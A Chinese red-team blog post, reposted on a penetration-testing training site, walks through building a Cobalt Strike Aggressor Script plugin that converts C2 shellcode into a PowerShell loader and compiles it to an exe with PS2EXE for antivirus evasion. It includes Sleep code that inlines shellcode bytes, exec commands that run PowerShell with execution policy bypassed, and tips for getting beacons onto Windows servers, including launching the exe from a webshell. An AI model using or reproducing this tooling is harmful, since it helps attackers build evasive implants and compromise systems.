1. 首页
  2. 红队技术

Aggressor Script 开发-Powershell 免杀

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

前言

在接触到Cobalt Strike的时候就知道有各种插件,想象着那天也可以自己学习编写一个。在之前分析Cobalt Strike powershell木马的时候,正好看到了Win-PS2EXE 项目用来编译为exe,免杀效果还不错且大小只有几十KB。即如此,何不利用Aggressor Script 编写一个cna脚本用来实现Win-PS2EXE编译为exe?

Sleep 语言

我们都知道Cobalt Strike的插件现在都由Aggressor Script语言编写,由Sleep语言解析。对于Sleep语言网上学习的资料比较少,还好这个语言学起来也比较简单。
先下载Sleep语言 http://sleep.dashnine.org/download/sleep.jar
命令java -jar sleep.jar 即可启用。

Aggressor Script 开发-Powershell 免杀

而后我们新建一个cna文件,cna是Aggressor Script脚本的后缀。
在cna文件里编写sleep语言,load该cna文件即可执行。

Sleep 语法

Sleep语法手册:http://sleep.dashnine.org/manual/
这里着重看一下我在编写powershell免杀时着重用到的基础语法。和php的一些函数很类似。

mkdir
global
sub
exec
byteAt 

还有一些不太一样的地方,比如运算符的两边必须加空格。

$int = 3;
println($int - 1);

否则就异常。

Aggressor Script 开发-Powershell 免杀

菜单的编写

创建一个自定义菜单

menubar("powershell免杀","test");  # 注册一级菜单
popup test {
    item("&生成exe",{dialog_test()});  # 子菜单,点击时调用dialog_test函数
}

Cobalt Strike 加载cna脚本后,效果如下

Aggressor Script 开发-Powershell 免杀

输入框的编写

现在编写dialog_test函数,用来用户的输入

menubar("powershell免杀","test");  # 一级菜单
popup test {
    item("&生成exe",{dialog_test()});  # 子菜单,点击时调用dialog_test函数
}
sub dialog_test {
    $info = dialog("powershell bypass av",%(ps2exe => "ps2exe.ps1",bin => "payload.bin",payload => "payload_cs.ps1",version => "",output_exe => "bypass.exe"),&show); 
    #第一个是菜单的名字,第二个是我们定义的菜单显示内容的默认值,第三个参数是我们回调函数,触发show函数的时候显示,并将值传递
    drow_file($info,"bin","Choose: default payload.bin");
    drow_text($info, "payload", "生成ps1"); # drow_text文本框的输入
    drow_combobox($info, "version", "Version: ", @("powershell 4.0", "powershell 2.0"));
    drow_text($info,"output_exe","输出地址:"); 
    dbutton_action($info,"点击生成!"); # dbutton_action将操作按钮添加到dialog,回调函数
    dialog_show($info); # 显示文本输入框
}
sub show {
    println("\n加载bin文件:".$3["bin"]."\n输出payload文件:".$3["payload"]."\n版本是:".$3["version"]."\n输出exe地址:".$3["output_exe"]);
    show_message("\n加载bin文件:".$3["bin"]."\n输出payload文件:".$3["payload"]."\n版本是:".$3["version"]."\n输出exe地址:".$3["output_exe"]);
}

义diolog数据模型,会有三个函数传递给shou方法

$1 为dialog的引用
$2 按钮的名称
$3 对话框输入的值

show_message以弹框的方式显示消息,println则会显示在Script Console中。
效果如下:

Aggressor Script 开发-Powershell 免杀
Aggressor Script 开发-Powershell 免杀

powershell免杀

免杀的生成还是借用的 Powershell免杀从入门到实践,利用powershell加载恶意bin文件,生成ps1文件,再借助PS2EXE编译为exe。
生成powershell_cs.ps1 文件,用的是正则匹配加载器powershell_load.ps1文件,将[System.IO.File]::ReadAllBytes('payload.bin')直接替换为读取bin文件的字符。
代码如下

global('$char_code');
global('$new_strs');
sub payload_bin_to_ps1 {
    $in = openf('payload.bin');
    $data = readb($in, -1);

    for ($x = 0; $x < strlen($data); $x++)
    {
        $shellcode = (byteAt($data, $x) . ",");
        $char_code = $char_code.$shellcode;
    }
    $char_code = left($char_code, int(strlen($char_code)) - 1);
    $org_file = 'powershell_load.ps1';
    $handle = openf($org_file);
    while $text (readln($handle)){ 
        $rep = replace($text, 'acode.*=.*', 'acode='.$char_code)."\n";
        $new_strs = $new_strs.$rep;
    }
    $filestring = right($new_strs, int(strlen($new_strs)) - 1);
    $out =  openf(">$payload_file_ps1");
    writeb($out, $filestring);
    closef($out);
    closef($in);
    $new_strs = '';
    $char_code = '';
    
}

编译为exe则直接用exec命令。

$process = exec('powershell.exe -ExecutionPolicy bypass  -command "F:\cstemp\.\ps2exe.ps1 -inputFile F:\cstemp\powershell_load.ps1 -outputFile F:\cstemp\aaa.exe -noConsole -runtime40" ');
println($process);
@data = readAll($process);
println(@data)
closef($process);

因为本身是利用的powershell 4.0,利用.NET Framework 4.x 环境编译为exe,所以在win10、server 2012 上都可以正常上线。

Aggressor Script 开发-Powershell 免杀

但如果还想在server 2008 上上线,就需要使用-runtime20选项,意思是利用powershell 2.0编译为exe

Aggressor Script 开发-Powershell 免杀

当我在win10上使用-runtime20选项时,程序直接处于等待状态。

Aggressor Script 开发-Powershell 免杀

只能手动去结束这个进程。尝试多次无果。
但测试发现换一个命令就可以正常执行结束,且没有多余的进程。

$process = exec('cmd.exe /c echo F:\cstemp\.\ps2exe.ps1 -inputFile F:\cstemp\powershell_load.ps1 -outputFile F:\cstemp\bbb.exe -noConsole -runtime20 | powershell -');
@data = readAll($process);
println(@data)
closef($process);

在server 2008上测试可上线。

Aggressor Script 开发-Powershell 免杀

利用ps2exe.ps1编译成exe时需要注意当前powershell版本,且默认以当前powershell版本编译,无法运行在比它高的版本上,只能向下兼容。

使用

在导入cna脚本之前,只需要修改当前路径$path为powershell_bypass.cna所在的真实路径即可。
注意:均是两个斜杠

Aggressor Script 开发-Powershell 免杀

选择Cobalt Strike生成BIN文件。

Aggressor Script 开发-Powershell 免杀

启用该cna脚本,选择指定的bin文件,点击生成恶意的ps1文件、exe可执行文件,

Aggressor Script 开发-Powershell 免杀
Aggressor Script 开发-Powershell 免杀

点击即可上线。
使用powershell 4.0上线server 2012

Aggressor Script 开发-Powershell 免杀

使用powershell 2.0上线server 2008

Aggressor Script 开发-Powershell 免杀

如果在webshell触发该可执行文件,需要start命令

Aggressor Script 开发-Powershell 免杀

总结

将ps2exe.ps1以另一种方式将其可视化,学习了Aggressor Script 基础语法。
相关代码已上传github:https://github.com/cseroad/bypassAV

参考资料

https://wiki.wgpsec.org/knowledge/intranet/Aggressor-script.html
https://github.com/MScholtes/PS2EXE

作者:CSeroad
链接:https://www.jianshu.com/p/f158a9d6bdcf
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/3284.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息